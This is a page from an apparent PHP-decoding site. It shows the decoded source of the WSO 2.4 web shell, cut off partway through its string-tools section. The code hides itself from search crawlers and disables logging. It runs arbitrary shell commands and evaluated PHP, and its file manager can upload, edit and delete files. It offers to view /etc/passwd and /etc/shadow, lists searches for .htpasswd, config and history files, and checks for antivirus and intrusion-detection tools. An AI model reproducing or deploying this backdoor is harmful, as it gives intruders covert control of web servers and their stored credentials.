Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*jAGpCATSAPsifqgM3Eodd3ig2ymx6UZdUfHXgbpgqXE kX6pBYH48otvPgpk6I5aPQ8q7dWThhW Rw7..
Decoded Output download
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.4');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
wsoLogin();
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/list.php?description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) && @count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
$stringTools = array(
'Base64 encode' => 'base64_encode',
'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
